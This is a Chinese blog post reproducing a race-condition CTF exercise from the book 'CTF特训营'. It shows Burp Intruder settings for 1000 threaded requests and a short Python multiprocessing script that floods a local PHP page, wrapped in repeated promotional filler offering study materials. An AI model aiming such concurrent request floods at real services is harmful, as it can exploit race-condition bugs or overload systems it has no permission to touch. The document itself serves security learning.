网络安全-条件竞争（《CTF特训营》第7章复现）_bp进行条件竞争(1)

写在最后

在结束之际，我想重申的是，学习并非如攀登险峻高峰，而是如滴水穿石般的持久累积。尤其当我们步入工作岗位之后，持之以恒的学习变得愈发不易，如同在茫茫大海中独自划舟，稍有松懈便可能被巨浪吞噬。然而，对于我们程序员而言，学习是生存之本，是我们在激烈市场竞争中立于不败之地的关键。一旦停止学习，我们便如同逆水行舟，不进则退，终将被时代的洪流所淘汰。因此，不断汲取新知识，不仅是对自己的提升，更是对自己的一份珍贵投资。让我们不断磨砺自己，与时代共同进步，书写属于我们的辉煌篇章。

需要完整版PDF学习资源私我

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化资料的朋友，可以点击这里获取

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！

0

打开phpStudy

BP-Intruder攻击

浏览器设置好代理，进行拦截。

拦截

右键，发送到Intruder模块。设置无payloads，进行1000次请求访问。

Payloads设置

Options配置线程数为80。

配置Options

回到Payloads界面，点击Start attack，等待完成，刷新页面。

攻击完成

当然，你也可以不刷新页面，向书中一样，拉动Results，找到序号1000的Response，查看结果。刷新页面会多一次，当然无所谓，应该是比1000少几百的。

Python脚本攻击

发起200次页面请求，最后结果为32。

"""
--coding:utf-8--
@File: condition_race.py
@Author:frank yu
@DateTime: 2020.12.18 15:50
@Contact: frankyu112058@gmail.com
@Description:
"""
from multiprocessing import Process

import requests

url = "http://127.0.0.1/condition_race.php"


def request(times):
    while times:
        print(requests.get(url).content)
        times -= 1


def main():
    nloop = 100
    for i in range(nloop):
        p = Process(target=request, args=(2,))
        p.start()


if __name__ == '__main__':
    main()

脚本攻击结果

练习：CTF-【NSCTF 2015】WEB11 条件竞争

参考

《CTF特训营》

网上学习资料一大堆，但如果学到的知识不成体系，遇到问题时只是浅尝辄止，不再深入研究，那么很难做到真正的技术提升。

需要这份系统化资料的朋友，可以点击这里获取

一个人可以走的很快，但一群人才能走的更远！不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人，都欢迎加入我们的的圈子（技术交流、学习资源、职场吐槽、大厂内推、面试辅导），让我们一起学习成长！